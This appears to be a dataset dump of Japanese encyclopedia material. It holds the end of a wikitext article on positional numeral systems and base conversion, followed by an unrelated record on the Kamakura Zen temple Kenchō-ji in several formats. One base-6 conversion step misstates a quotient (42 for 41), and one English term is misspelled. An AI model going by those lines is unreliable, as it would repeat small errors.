|url=https://www.gnu.org/software/smalltalk/manual/html_node/The-syntax.html
|title=A Simple Overview of Smalltalk Syntax
|accessdate=2023-03-16
}}
</ref>、[[Erlang]]では <code>base "#" value</code>(例:<code>16#ffef</code>)<ref>{{cite web2
|website=www.erlang.org
|url=https://www.erlang.org/doc/reference_manual/data_types.html
|title=Data Types
|accessdate=2023-03-16
}}
</ref>という構文を採用している。<code>base</code> は底を表す十進整数であり、<code>value</code> はその進数法での数値を表す英数字の列である。
==適用例==
===十進法===
{{See also|漢数字#位取り記数法}}
; 数列
十進法は最も身近な位取り記数法である。十進法では、[[10|十]]個の[[数字]]を用い、一桁にひとつの数字を容れて必要な桁数分を並べて数値を表す。
[[アラビア数字]]なら
{{quote|'''0'''、'''1'''、'''2'''、'''3'''、'''4'''、'''5'''、'''6'''、'''7'''、'''8'''、'''9'''}}
の十個であり、
[[漢数字]]なら
{{quote|'''〇'''、'''一'''、'''二'''、'''三'''、'''四'''、'''五'''、'''六'''、'''七'''、'''八'''、'''九'''}}
の十個である。以下、アラビア数字を例に説明するが、漢数字の場合も同様である。
十進法ではこれらの数字を列べる事で数を表現する。
例えば、'''312.02'''は、
{{indent|<math>3\times 10^2+1\times 10^1 + 2\times 10^0 + 0\times \frac{1}{10^1}+2\times \frac{1}{10^2} </math>}}
を表す。
===Nが十未満===
例えば[[五進法]]をアラビア数字で表した場合、使う数字は
{{quote|'''0'''、'''1'''、'''2'''、'''3'''、'''4'''}}
の五種類の記号であり、五進法における'''431.02'''は、
{{indent|<math>4\times 5^2+3\times 5^1 + 1\times 5^0 + 0\times \frac{1}{5^1}+2\times \frac{1}{5^2} </math>}}
を表し、これは十進法の'''116.08'''にあたる。
注意すべき点は、同じ「'''431.02'''」でも五進法のものと十進法のものでは値が異なる。このため、位取り記数法の話をするときには、常に何進法の話であるのかを明示する必要がある。([[#基数の明記|後述]])
===Nが十を超過===
[[十二進法]]、[[十六進法]]、[[二十進法]]のように、''N'' が十より大きい場合は用いる数字は、アラビア数字だけでは足りなくなる。そこで、十以上の数を表記する「数字」として、[[ラテン文字]]の[[アルファベット]]の[[大文字]]を用いる事が多い。
例えば十六進法であれば、「数字」として
{{quote|'''0'''、'''1'''、'''2'''、'''3'''、'''4'''、'''5'''、'''6'''、'''7'''、'''8'''、'''9'''、'''A'''、'''B'''、'''C'''、'''D'''、'''E'''、'''F'''}}
を用い、'''A'''、'''B'''、'''C'''、'''D'''、'''E'''、'''F'''はそれぞれ十進法の自然数10、11、12、13、14、15に対応する。
従って例えば'''2F3.A7'''は
{{indent|<math>2\times 16^2+15\times 16^1 + 3 + 10\times \frac{1}{16^1}+7\times \frac{1}{16^2} </math>}}
を表し、これは十進法の'''755.652344'''にあたる。
=={{vanc|可除性|可分性}}==
{{see also|倍数#整除性の判定法|小数}}
[[有理数]]を[[小数]]で表す際、有限小数になる場合と[[循環小数]]になる場合がある。本節では底 {{mvar|N}} の位取り記数法で有理数が有限小数として表される(分子が分母で「割り切れる」)条件について述べる。
一般に、既約分数 {{math|{{sfrac|''x''|''y''}}}} が底 {{mvar|N}} の位取り記数法において有限小数として表されるには、分母 {{mvar|y}} が底 {{mvar|N}} が持つ[[素因数]] <math>p_1,\, \dots,\, p_m</math> の積 <math>y = p_1^{k_1} {}\dotsb{} p_m^{k_m}</math> (ただし {{mvar|k}} は {{math|0}} 以上の整数)になっていなければならない(さもなくば {{mvar|N}} の[[冪乗|冪]]を掛けて整数にならない){{sfn|Hardy|1929|loc= 4. Regarding Decimals|p=784}}<ref>{{MathWorld|title=Regular Number|urlname=RegularNumber}}</ref>。この条件は分子によらないため、有限小数で表せるかは[[単位分数]]で表される有理数に限って調べればよい。
例えば[[十進法]]では {{math|1=''N'' = 10 = 2⋅5}} のため、ある有理数を既約分数で表した際、分母が {{math|2}} と {{math|5}} 以外に素因数を持たない場合には有限小数となり、それ以外は循環小数となる。
{{mvar|N}} 進有限小数が {{mvar|M}} 進有限小数でもあるには、その有限小数を既約分数で現した際の分母が2つの底 {{mvar|N}}, {{mvar|M}} の冪のいずれの[[約数]]にもなる必要がある。特に、すべての {{mvar|N}} 進有限小数が {{mvar|M}} 進有限小数であるには {{mvar|M}} の素因数がすべて {{mvar|N}} の素因数に含まれていなければならない。
==表記の一意性==
この節では特に断りがない限り十進数について述べるが、他の底についても同様である。
実数の ''N'' 進表記は一意ではない。
よく知られているように、
: '''1'''='''1.000'''…='''[[0.999…]]'''
である。また、以下のように、上位桁に不要な'''0'''を付け加えることもできる。
: '''0013'''='''13'''
通常は「'''0013'''」のような表記は許さないとする事が多いが、コンピューターなどでは、最大で4桁の整数値であることを示すため、あえて「'''0013'''」のような表記をする場合がある。
以上のような例を除くと'''0以外の'''実数は一意に表現できる。
しかし、0のみは
:「'''+0'''」、「'''-0'''」
の二通りの表記が可能である(いわゆる'''[[-0|負のゼロ]]'''の問題)。これが原因で、コンピューター・プログラムでは'''0'''のみ[[例外処理]]を求められる場合がある。
また、一般には0は1桁の数とされているが、ルールを優先し1桁の数と認めない場合もある([[覆面算#ルール]])。
[[表計算ソフト]]の列名などで用いられている、A, B, ..., Z, AA, AB, ... のような形式は、位取り記数法の一種と考えることができ、かつ0より大きい整数を一意に表せる。([[:en:Bijective numeration]])
==底の変換アルゴリズム==
与えられた非負[[整数]] ''T'' を、記号<math>\mathfrak{c}_0,\ldots, \mathfrak{c}_{N-1} </math>を数字として用いた ''N'' 進表記
{{indent|<math>a_r\cdots a_0</math>}}
で表すには、以下のアルゴリズムを用いればよい。
なお、このアルゴリズムは、 ''M'' ≠ ''N''により''M'' 進表記されている ''T'' を ''N'' 進表記に書き換えるときに使われる事が多いので、このアルゴリズムを'''底の変換[[アルゴリズム]]'''と呼ぶ。
* 入力''T'' を受け取る。
* ''T=0'' なら<math>\mathfrak{c}_0</math> を出力して停止。
* iを0に初期化
* while(T≠0){
** ''T'' を ''N'' で割った商を ''T''' 、余りを ''k'' とし、 <math>a_i\gets\mathfrak{c}_k</math> とする。
** ''T'' ←''T'''、i←i+1
*}
* r←i-1
* <math>a_r\cdots a_0</math>を出力
なお、''T'' >0に対しては等式
{{indent|<math>r=\left\lfloor\log_N T\right\rfloor</math>}}
が知られている(なお、添え字を0から始めているので、''T'' の桁数は''r'' +1) 。ここで<math> \left\lfloor x \right\rfloor</math>は[[床関数]]である。
=== 底の変換例 ===
;十進法→五進法への変換
[[十進法]]の 5213 を[[五進法]]に置き換える場合、5で割っていき、商が5未満になった時点で止める。余り無しの場合は 0 を明記する。商が5未満になったら、最後の商を先頭にして、最初の余りを末尾にして列べる。
* 5213 ÷ 5 = 1042 余り 3
* 1042 ÷ 5 = 208 余り 2
* 208 ÷ 5 = 41 余り 3
* 41 ÷ 5 = 8 余り 1
* 8 ÷ 5 = 1 余り 3
* 1 ÷ 5 = 0 余り 1
から、5213 = 3 + 2 × 5 + 3 × 5<sup>2</sup> + 1 × 5<sup>3</sup> + 3 × 5<sup>4</sup> + 1 × 5<sup>5</sup> となるので、五進表記では 131323 と表すことができる。また、5<sup>5</sup> = 3125, 5<sup>6</sup> = 15625 であるから、5<sup>5</sup> ≤ 5213 < 5<sup>6</sup> が成り立っているので、対数を取ると
{{indent|<math>5 \le \log_{5}5213 < 6</math>}}
となり、
{{indent|<math>r=\left\lfloor\log_{5}5213\right\rfloor =5</math>}}
が分かる。
;十進法以外→十進法以外への変換
十進法以外のN進法も同様で、例えば3{{sup|8}}に当たる[[六進法]]の 50213 を[[十六進法]]に置き換える場合も、商が24{{sub|(6)}} = 10{{sub|(G)}} を下回るまで24で割っていく。
* 50213 ÷ 24 = 1522 余り 1
* 1522 ÷ 24 = 41 余り 14
* 42 ÷ 24 = 1 余り 13
以上より、1, 13, 14, 1の列になり、13{{sub|(6)}} = 9{{sub|(G)}}、14{{sub|(6)}} = A{{sub|(G)}} なので、十六進法では 19A1 となる。
;同値の小数への変換
小数を別のN進法に変換する場合には、以下の経過を践む。
# 変換前と変換後の冪数を列挙する。
# 小数点以下の元の桁数に合わせて、冪数を掛ける。
# [[端数処理]]をする。
# 整数と同じく、冪数を掛けた結果を、変換後のNで割っていく。
# 変換後のNで割った結果を最後の商→最初の余りの順に列挙する。この列が同値の小数となる。
(例)十進数0.531441 → 十二進数六桁
# 十進数 1000000 → 2985984(十の六乗→十二の六乗)
# 531441×2.<u>985984</u> = 1586874.322944
# 1586874.322944 → 1586874
# 1586874÷12 = 132239 余り6
#* 132239÷12 = 11019 余り11
#* 11019÷12 = 918 余り3
#* 918÷12 = 76 余り6
#* 76÷12 = 6 余り4
# 11{{sub|(A)}} = B{{sub|(C)}} なので、6463B6{{sub|(C)}} を列べる。
以上より、十進数0.531441 は、十二進数では約0.6463B6 となる。
(例)十進数0.124053 → 六進数九桁
# 十進数 1000000 → 10077696(十の六乗→六の九乗)
# 124053×10.<u>077696</u> = 1250168.42189
#* 変換前の小数が六桁なので、乗数も小数点以下を六桁にする。
# 1250168.42189 → 1250168
# 1250168÷6 = 208361 余り2
#* 208361÷6 = 34726 余り5
#* 34726÷6 = 5787 余り4
#* 5787÷6 = 964 余り3
#* 964÷6 = 160 余り4
#* 160÷6 = 26 余り4
#* 26÷6 = 4 余り2
# 42443452{{sub|(6)}}を列べる。分母が 10077696{{sub|(A)}} = 1000000000{{sub|(6)}} なので、小数点以下は9桁になり、先頭に0が1つ加わる。
よって、十進数0.124053 は、六進数では約0.042443452 となる。
== {{vanc|複数の底の混在|複数の基数の混在}} ==
{{See also|:en:Mixed radix}}
[[十進法]]では、機械的に[[10|十]]倍、[[100|百]]倍、[[1000|千]]倍、[[10000|一万]]倍…の順で増える。同じく、[[十二進法]]では、機械的に[[12|十二]]倍、[[144|百四十四]]倍、[[1728|千七百二十八]]倍、[[20736|二万七百三十六]]倍…の順で増える。
しかし、底を2つに分ける場合がある。十進法に対して、[[二五進法|二・五進法]](十が五進命数法で「二五」なので、区別するため二と五の間に点が必要)では[[2|二]]と[[5|五]]の2つの底があるので、桁が上がる度に五倍→二倍→五倍→二倍…と交互になり、「十の冪数」と「十の冪数の五倍」が交互に現れる。これは[[そろばん]]と同じく一桁が「一の位」4つと「五の位」1つで構成される方法だが、計算機にも応用されている。
[[時間]]:
[[秒]]、[[六十進法]]、[[分]]、[[六十進法]]、[[時]]、[[二十四進法]]、[[日]]、[[七進法]]、[[週]]
[[秒]]、[[六十進法]]、[[分]]、[[六十進法]]、[[時]]、[[二十四進法]]、[[日]]、[[三十進法]]、[[月]]、[[十二進法]]、[[年]]、[[十進法]]、[[十年紀]]、[[十進法]]、[[世紀]]、[[十進法]]、[[千年紀]]
[[バビロニア数学|バビロニア]]の[[六十進法]]もそろばんに似た方法で、一桁が「一の位」9つと「十の位」5つで構成されており、整数は十倍→[[6|六]]倍→十倍→六倍と交互になり、小数は[[1/6|六分の一]]→[[1/10|十分の一]]→六分の一→十分の一と交互になる。この方法では、整数第二位は「[[60|六十]]の位」と「[[600|六百]]の位」に分かれ、整数第三位は「[[3600|三千六百]]の位」と「三万六千の位」に分かれ、小数第一位は「六分の一の位」と「六十分の一の位」に分かれ、小数第二位は「[[360|三百六十]]分の一の位」と「三千六百分の一の位」に分かれている。
[[階乗進法]]
これら二・五進法や六十進法のように複数の底が設定されている場合には、" : " などの区切り符号を付ける。例えば、六十進法で十進法を補助とする場合には、58 → 59 → 1:00 → 1:01 → 1:02 …の順に数列が進む。
日本の通貨(硬貨と紙幣)には、昇順で一円→五円→十円→五十円→百円→五百円→千円→五千円→一万円があるので、通貨を一つの単位と見れば、これは前述の二・五進法である。この配列を見ると、一(10<sup>0</sup>)、十(10<sup>1</sup>)、百(10<sup>2</sup>)、千(10<sup>3</sup>)、一万(10<sup>4</sup>)が十の冪数であり、五、五十、五百、五千が「十の冪数の五倍」である。
==英語表記==
{{see also|倍数接頭辞}}
「底 ''N'' 」を英語で、'''base''' '''''N''''' という。特定のNに関しては[[倍数接頭辞]]を基に名称がついているが、名称の付け方は不規則である。通常、接尾辞が -ary である語は、ラテン語の -arius (~の、~に関する) に由来して、「N 個一組」「N を単位とする」「N 個から成る」を意味する語である。一方、接尾辞が -imal である語は、ラテン語の -imus に由来して、「第 N」「N 分の一」を意味する語である。
以下は「底 ''N'' 」、もしくはより明解に「''N'' 個一組」「''N'' を単位とする」「''N'' 個から成る」という意味の'''形容詞'''である。
{{Div col}}
*[[二進法|二]]:binary
*[[三進法|三]]:ternary
*[[四進法|四]]:quaternary
*[[五進法|五]]:quinary
*[[六進法|六]]:senary
*[[七進法|七]]:septenary
*[[八進法|八]]:octonary, octal
*[[九進法|九]]:nonary
*[[十進法|十]]:denary, decimal
*[[十二進法|十二]]:duodenary, duodecimal
*[[十五進法|十五]]:quindenary, quindecimal, pentadecimal
*[[十六進法|十六]]:sedenary, sedecimal, hexadecimal
*[[十八進法|十八]]:octodenary, octodecimal
*[[二十進法|二十]]:vicenary, vigesimal
*[[二十四進法|二十四]]:tetravicenray, tetravigesimal
*[[三十進法|三十]]:tricenary, trigesimal
*[[三十二進法|三十二]]:duoreicenary, duoreigesimal
*[[三十六進法|三十六]]:hexatrecenary, hexatrigesimal
*[[六十進法|六十]]:sexagenary, sexagesimal
{{Div col end}}
これらを使い、'''a''' base-two '''number'''で「二進数」、'''the''' base-two '''numeral system'''で「二進法」を表す名詞となる。
同様に'''a''' binary '''number'''、'''the''' binary '''numeral system'''でもそれぞれ「二進数」、「二進法」を表す名詞となる。他の底も同様。
== ''p''進数 ==
{{main|p進数}}
''N'' 進表記と関連が深い概念として、[[素数]] ''p'' 毎に定まる[[p進数| ''p'' 進数]]というものもある。
名称は本稿で解説している''N'' 進表記の別名である''N'' 進数と同一であるものの、別概念ではある。ただし両者は非常に関連があり、整数の ''p''進表記を(可算)無限桁の自然数の範囲に拡張したものが ''p''進整数で、さらにそこに有限桁の小数部分を許したものが ''p''進数である。<!--***ノート参照***-->ただし「無限桁の整数」(の一部は有理数として再解釈できるもののほとんど)は本稿で扱う普通の数([[実数]])とは異なる。
== 注釈 ==
{{脚注ヘルプ}}
{{notelist2}}
== 出典 ==
{{脚注ヘルプ}}
{{reflist}}
== 参考文献 ==
* {{cite kotobank
|word=桁
|encyclopedia=デジタル大辞泉
|ref={{sfnref|『デジタル大辞泉』【桁】}}
|accessdate=2023-04-19
}}
* {{cite book|和書
|first=ヘンリー・S, ジュニア
|last=ウォーレン
|title=ハッカーのたのしみ
|translator=滝沢 徹, 鈴木 貢, 赤池 英夫, 葛 毅, 藤波 順久, 玉井 浩
|publisher=エスアイビー・アクセス
|isbn=9784434046681
|date=2004
|ref={{sfnref|ウォーレン『ハッカーのたのしみ』|2004}}
}}
* {{cite book|和書
|last=James
|first=Glenn
|last2=James
|first2=Robert C.
|translator=一松 信, 伊藤 雄二
|title=数学辞典
|edition=普及版
|publisher=朝倉書店
|date=2011-04-25
|isbn=978-4-254-11131-6
|ref={{sfnref|朝倉『数学辞典』(普及版)|2011}}
}}
* {{cite journal
|first=G. H.
|last=Hardy
|journal= Bulletin of the American Mathematical Society
|title=An introduction to the theory of numbers
|volume=35
|year=1929
|publisher=American Mathematical Society
|pages=778-818
|doi=10.1090/S0002-9904-1929-04793-1
|issn=1088-9485
|ref=harv
}}
== 関連項目 ==
{{wikiversity|N進法}}
;総合
*[[広義の記数法]]
*[[コンピュータの数値表現]]、[[エンディアン]]
*[[命数法]]
*[[キリバン]]
*[[倍数接頭辞]]:英語で記数法の底となるNを表す'''deci'''mal([[十進法|'''十'''進法]])、'''bi'''nary([[二進法|'''二'''進法]])などの接頭辞deci-、bi-などに関する項目
;通常のN進法
*[[二進法]] (binary)
*[[三進法]] (ternary)
*[[四進法]] (quaternary)
*[[五進法]] (quinary)
*[[六進法]] (senary)
*[[七進法]] (septenary)
*[[八進法]] (octal)
*[[九進法]] (nonary)
*[[十進法]] (decimal)
*[[十一進法]] (undecimal)
*[[十二進法]] (duodecimal, dozenal)
*[[十三進法]] (tridecimal)
*[[十五進法]] (quindecimal)
*[[十六進法]] (hexadecimal)
*[[十八進法]] (octodecimal)
*[[二十進法]] (vigesimal)
*[[二十四進法]]
*[[三十進法]] (trigesimal)
*[[三十二進法]]
*[[三十六進法]]
*[[六十進法]] (sexagesimal)
;特殊なN進法
*[[一進法]](桁上がりが無い)
*[[二五進法|二・五進法]](にごしんほう、二十五進法ではない。桁上がりが複数段階)
*[[二進化十進表現]]
*[[六十進法]]:sexagesimal(桁上がりが複数段階)
*[[E進法]]
*[[黄金進法]]
*[[六十四進法]]:[[Base64]]
*[[八十五進法]]:[[Ascii85]]
*[[階乗進法]]
*[[平衡三進法]]
*{{link-en|全単射進法|Bijective numeration}}
*{{link-en|負数進法|Negative base}}
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6,756 | 建長寺 | 建長寺(けんちょうじ)は、神奈川県鎌倉市山ノ内にある禅宗の寺院で、臨済宗建長寺派の大本山。正式には巨福山建長興国禅寺(こふくさんけんちょうこうこくぜんじ)と号する。
鎌倉時代の建長5年(1253年)の創建で、本尊は地蔵菩薩。開基(創立者)は鎌倉幕府第5代執権・北条時頼、開山(初代住職)は南宋の禅僧・蘭渓道隆で、第二世は同じく南宋の兀庵普寧である。鎌倉五山の第一位。境内は「建長寺境内」として国の史跡に指定。
建長寺は鎌倉幕府第5代執権・北条時頼により創建された禅宗寺院で、建長5年(1253年)に落慶供養が営まれている。開山(初代住職)は南宋からの渡来僧・蘭渓道隆(大覚禅師)であった。当時の日本は、承久の乱(1221年)を経て北条氏の権力基盤が安定していた。京都にある朝廷の全国支配力は弱まり、政治的には鎌倉が事実上、日本の首府となっていた時代であった。北条時頼は熱心な仏教信者であり、禅宗に深く帰依していた。
創建の時期については、鎌倉幕府の公式記録である『吾妻鏡』には建長3年(1251年)から造営が始められ、同5年(1253年)に落慶供養が行われたとある。造営開始時期については建長元年(1249年)ないし2年からとする異説もあるが、おおむね建長元年(1249年)頃から造営の準備がなされ、同5年(1253年)に完成したとされる。建長寺が所在する山ノ内は、幕府のある鎌倉の中心部からは山一つ隔てた所に位置し、鎌倉の北の出入口の護りに当たる要衝の地であって、北条氏の本拠地でもあった。建長寺の境内が広がる谷(鎌倉では「やつ」と読む)は、元は「地獄ヶ谷」と呼ばれる処刑場で、地蔵菩薩を本尊とする伽羅陀山心平寺という寺が建っていた。建長寺の本尊が禅宗寺院の本尊として一般的な釈迦如来ではなく地蔵菩薩であるのは、こうした因縁によるものである。また、心平寺の旧本尊と伝える地蔵菩薩像は今も建長寺に伝来している。
開山の蘭渓道隆は中国・宋末の禅僧で、寛元4年(1246年)、33歳で来日した。はじめ筑前国博多に着き、京都に一時住んだ後、宝治2年(1248年)に鎌倉入りした。建長寺が創建されるまでは常楽寺(鎌倉市大船に現存)に住した。当時の日本には、すでに半世紀以上前に建立された建仁寺(京都)や寿福寺(鎌倉)などの禅宗系寺院があったが、当時これらの寺院は禅宗と他宗との兼学であり、純粋禅の道場としては建長寺は、聖福寺(北九州)などに次ぐ古さを誇るとされている。伽藍配置は中国式であり、寺内では日常的に中国語が使われていたという。蘭渓道隆の禅風は中国宋時代の純粋禅を受け継いだ厳格なものであった。道隆は弘長2年(1262年)京都の建仁寺に移ったが2年後に鎌倉に戻って建長寺住持に復帰。その後、文永の役の際には中国側のスパイと疑われたためか、甲斐国(山梨県)に流されたこともあったが、のちに許されて鎌倉に戻り、弘安元年(1278年)4月、建長寺住持に再度復帰。同じ年の7月、異国日本で生涯を閉じた。66歳であった。
その後の建長寺は正応6年(1293年)4月12日に発生した鎌倉大地震により建造物の大半が倒壊、炎上。元から来日した一山一寧を第十世に任じて再建にあたらせる。だが、続いて正和4年(1315年)、応永23年(1416年)をはじめとするたびたびの火災で創建当初の建物を失った。鎌倉時代末期には修復費用獲得のため、幕府公認で元へ貿易船(寺社造営料唐船)が派遣され、「建長寺船」と呼ばれた。江戸時代には徳川家の援助で主要な建物が新築または他所から移築されたが、1923年の関東大震災でも大きな被害を受けている。
創建当時の建物は失われたとはいえ、総門・山門・仏殿・法堂(はっとう)・方丈が一直線に並ぶ伽藍配置は、創建当時の面影を残すものとされる。なお、地形の関係で総門 - 山門間の参道は斜めになっている。
天明3年(1783年)の建立。1940年に京都の般舟三昧院(はんじゅざんまいいん)から移築されたものである。総門に掲げられた「巨福山」の額は建長寺10世住持で書の名手である渡来僧・一山一寧の筆と伝える。「巨」字の第3画目の下に、余分な「点」が書き加えられているが、この点があることによって字に安定感が出ているとされる。
安永4年(1775年)の上棟で、2005年に重要文化財に指定されている。「三門」とも表記する(重要文化財指定名称は「建長寺山門」)。
三間一戸の二重門で、上層屋根はこけら葺き形銅板葺きとする。棟梁は建長寺大工の河内長兵衛である。下層はすべて吹き放しで、扉は設けていない。禅宗様建築は一般に木柄の細いのを特色とするが、この門は柱などの各種部材が太く豪快であるのが特色である。門の中心に位置する2本の柱からは前後左右に虹梁(こうりょう)を架け、虹梁上に大瓶束(たいへいづか)を立てて鏡天井を支える。上層の正面中央には唐破風を設け、ここに「建長興国禅寺」の扁額を掛ける。上層内部には宝冠釈迦如来像を中心に十六羅漢像、五百羅漢像(銅造)などを安置する(上層は非公開)。関東大震災では上層の屋根が破損したが、これは本来、こけら葺き用に造られていた小屋組に江戸時代末期に重い銅板を葺いたことが原因であり、門の主要部材の被害は軽微であった。
重要文化財。 寄棟造で単層裳階が付く。
芝(東京都港区)の増上寺にあった、徳川秀忠夫人崇源院の霊屋(たまや)を建て替えに際し、譲渡されたもので、正保4年(1647年)に建長寺に移築されている。
もともと霊廟建築として造られたものであるので、屋根や天井などの形式が一般的な禅宗の仏殿とは異なっている。すなわち、屋根は入母屋造でなく寄棟造である。また、天井は禅宗仏殿では平板な「鏡天井」とし、龍などの絵を描くことが多いが、この仏殿の天井は和様の格天井(ごうてんじょう)である。
堂内には本尊の地蔵菩薩坐像(室町時代の作、像高2.4メートル)、もとこの地にあった心平寺の旧本尊地蔵菩薩坐像、千体地蔵菩薩立像、千手観音坐像、伽藍神像などを安置する。堂前にあるビャクシン(白槙、和名イブキ)の古木7本は開山蘭渓道隆手植えと伝えるもので、樹齢約750年といわれる。
禅宗以外の寺院の「講堂」に相当する建物。入母屋造、方三間、裳階(もこし)付き、銅板葺き。文化11年(1814年)の上棟、文政8年(1825年)の竣工である。棟梁は建長寺大工の河内久右衛門。内部には身舎・裳階の境に柱が立つのみで間仕切りはない。床は瓦の四半敷きとする。堂内中央奥に高さ2メートルを超える法座を設け、その奥に本尊千手観音坐像を安置する。なお、天井の雲龍図は、鏡天井に直接描かれたものではなく、別に制作された絵を掲げたものである。鎌倉最大級の木造建築で2005年に重要文化財に指定された。
天井画は小泉淳作筆の雲龍図。2005年愛知万博に陳列されたパキスタンのラホールにあるラホール中央博物館(英語版)所蔵の釈迦苦行像のレプリカが愛知万博終了後にパキスタンより寄贈され、安置された。
重要文化財で方丈入口の門。仏殿と同じく、芝の徳川秀忠夫人崇源院霊屋から移築したもの。関東大震災以来の大修理が2011年5月に終了し、移築当時の姿が再現された。
「竜王殿」とも称する。総門と同じく、京都の般舟三昧院から移築したもの。庭園は夢窓疎石の作といわれる。
高さ20mを超える五重塔(一説に三重塔)があったが、参道建設時に塔跡は壊され現在は石碑が残るのみ。
境内のもっとも奥、山の中腹にある、建長寺の鎮守である。
ここに祀られる半僧坊権現は、1890年に当時の住持であった霄(おおぞら)貫道禅師が静岡県引佐郡奥山(現・浜松市北区)の方広寺から勧請した神で、火除けや招福に利益があるという。半僧坊権現とは、後醍醐天皇皇子の無文元選禅師(前述の方広寺開山)の元に忽然と現われ、無理やり弟子入りした白髪の老人で、神通力を持っており、無文禅師が死去するとその老人もまた姿を消したという。
半僧坊へ上る石段の途中には天狗の像がある!
境内にはこのほか、江戸時代初期の豪商・河村瑞賢の墓や、織田長益(有楽斎)のものとされる墓などがある。
塔頭(たっちゅう)の本義は、祖師や高僧の墓塔を守るために、師の徳を慕う弟子らが建立した小寺院を意味するが、転じて大寺院の境内周辺に建てられた小寺院を指す。建長寺には最盛期には49か院の塔頭があったが、現在は境外塔頭を含め12か院を残すのみである。塔頭のうち常時公開されているのは境外塔頭の円応寺(新居閻魔堂)のみ。長寿寺は春秋などに時期を限って公開、妙高院、龍峰院は観音霊場巡りの巡礼者のみ入れる。他の塔頭は原則非公開である。
※典拠:2000年(平成12年)までの指定物件については、『国宝・重要文化財大全 別巻』(所有者別総合目録・名称総索引・統計資料)(毎日新聞社、2000)による。それ以降の指定物件については個別に脚注を付した。
境内は1966年(昭和41年)9月12日、「建長寺境内」として国の史跡に指定されている。庭園は1932年(昭和7年)7月23日、「建長寺庭園」として国の史跡および名勝に指定されている。「建長寺庭園」の指定範囲は仏殿前のビャクシンの植栽と、方丈裏の庭園である。
参拝者や、修学旅行生を含む観光客が年間で約50万人訪れる。大人500円、子供(小中学生)200円の拝観料が必要。前述のように、坐禅修行に使う僧坊などは拝観対象外である。
指定文化財のうち、国宝の梵鐘は随時見学可能。その他の書画、工芸品の大部分は鎌倉国宝館に寄託されており、同館の展示で順次公開されるほか、例年11月3日前後に3日間行われる「宝物風入れ」という行事の際、寺内で公開される。なお、近くの円覚寺でも同時期に同様の「宝物風入れ」が実施される。
1886年(明治19年)、修行僧学校・宗学林を設立。現在の鎌倉学園中学校・高等学校の前身となる。現在も同校の経営に関与しているが、明確な形での宗教教育は行っておらず、男子中高一貫教育を行う進学校として運営されている。
同校の出身者である桑田佳祐が所属するサザンオールスターズが、2003年6月21日に、境内でスペシャル・ライブを行い、三門(山門)がステージとして使用された。入場者はファンクラブ会員の2,500名限定であったが、境内に入れないファンが殺到し、付近の路上は大渋滞となった。三門(山門)は重要文化財に指定される前であったが、音響機材・照明機材が接する場所はすべて養生され、非常に慎重に運営された様である。
また、2003年6月28日に『第17回・FNS27時間テレビ みんなのうた』において、スペシャル・ライブの模様を収録した映像が放送された。この際、映像の雰囲気が生放送(生中継)の様に見えたため、視聴者が勘違いしないよう「この模様は事前に収録したものです」とテロップを入れ、さらにアナウンサーからも同様の注意喚起が行われたにもかかわらず、一部視聴者が「サザンオールスターズが今、建長寺でライブをしている」と勘違いして殺到した。 | [
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"text": "また、2003年6月28日に『第17回・FNS27時間テレビ みんなのうた』において、スペシャル・ライブの模様を収録した映像が放送された。この際、映像の雰囲気が生放送(生中継)の様に見えたため、視聴者が勘違いしないよう「この模様は事前に収録したものです」とテロップを入れ、さらにアナウンサーからも同様の注意喚起が行われたにもかかわらず、一部視聴者が「サザンオールスターズが今、建長寺でライブをしている」と勘違いして殺到した。",
"title": "宗学林と関連エピソード"
}
]
| 建長寺(けんちょうじ)は、神奈川県鎌倉市山ノ内にある禅宗の寺院で、臨済宗建長寺派の大本山。正式には巨福山建長興国禅寺(こふくさんけんちょうこうこくぜんじ)と号する。 鎌倉時代の建長5年(1253年)の創建で、本尊は地蔵菩薩。開基(創立者)は鎌倉幕府第5代執権・北条時頼、開山(初代住職)は南宋の禅僧・蘭渓道隆で、第二世は同じく南宋の兀庵普寧である。鎌倉五山の第一位。境内は「建長寺境内」として国の史跡に指定。 | {{日本の寺院
|名称 = 建長寺
|画像 = [[Image:Kencho-ji 108599196 ac1ef7203f o.jpg|260px]]
|画像説明 = 境内
|地図 = Japan Kanagawa#Japan
|地図2 = {{maplink2|frame=yes|plain=yes|type=point|zoom=14|frame-align=center|frame-width=260|marker=place-of-worship}}
|所在地 = 神奈川県鎌倉市山ノ内8
|位置 = {{coord|35|19|54.44|N|139|33|19.25|E|region:JP-14_type:landmark|display=inline,title|name=建長寺}}
|山号 = 巨福山(こふくさん){{efn|[[小袋谷]]と関連}}
|宗派 = [[臨済宗#建長寺派|臨済宗建長寺派]]
|寺格 = 大本山<br />[[鎌倉五山]]第一位{{sfn|新編鎌倉志|1015|p=48}}
|本尊 = [[地蔵菩薩]]
|創建年 = [[建長]]5年([[1253年]]){{sfn|新編鎌倉志|1015|p=48}}
|開基 = [[北条時頼]]{{sfn|新編鎌倉志|1015|p=48}}
|開山 = [[蘭渓道隆]]{{sfn|新編鎌倉志|1015|p=48}}
|正式名 = 巨福山建長興國禪寺
|別称 = 巨福山建長禪寺<br />建長僧堂
|札所等 = [[鎌倉二十四地蔵]]9番 - 11番<br />[[鎌倉三十三観音霊場]]28番
|文化財 = 絹本淡彩蘭渓道隆像・大覚禅師墨蹟法語規則・梵鐘([[国宝]])<br />山門・法堂・絹本著色釈迦三尊像ほか([[重要文化財]])
|公式HP = http://www.kenchoji.com/
|公式HP名 = kenchoji.com
}}
'''建長寺'''(けんちょうじ)は、[[神奈川県]][[鎌倉市]][[山ノ内 (鎌倉市)|山ノ内]]にある[[禅宗]]の寺院で、[[臨済宗#建長寺派|臨済宗建長寺派]]の大本山。正式には'''巨福山建長興国禅寺'''(こふくさんけんちょうこうこくぜんじ)と号する。
[[鎌倉時代]]の[[建長]]5年([[1253年]])の創建で、[[本尊]]は[[地蔵菩薩]]。開基(創立者)は[[鎌倉幕府]]第5代[[執権]]・[[北条時頼]]、[[開山 (仏教)|開山]](初代[[住職]])は[[南宋]]の[[僧|禅僧]]・[[蘭渓道隆]]で<ref>[http://www.kenchoji.com/?page_id=58 大本山 巨福山 建長寺(歴史)]2018年1月14日閲覧{{リンク切れ|date=2021-4}}</ref>、第二世は同じく南宋の[[兀庵普寧]]である。[[鎌倉五山]]の第一位<ref>{{Cite book|和書 |title=御朱印でめぐる鎌倉の古寺〈三十三観音完全掲載版〉 |date=2012-6-22 |publisher=ダイヤモンド•ビッグ社 |page=10 |pages=11}}</ref>。境内は「'''建長寺境内'''」として国の[[史跡]]に指定。
== 歴史 ==
[[ファイル:Lanxi Daolong.jpg|thumb|200px|蘭渓道隆像(国宝)]]
=== 創建 ===
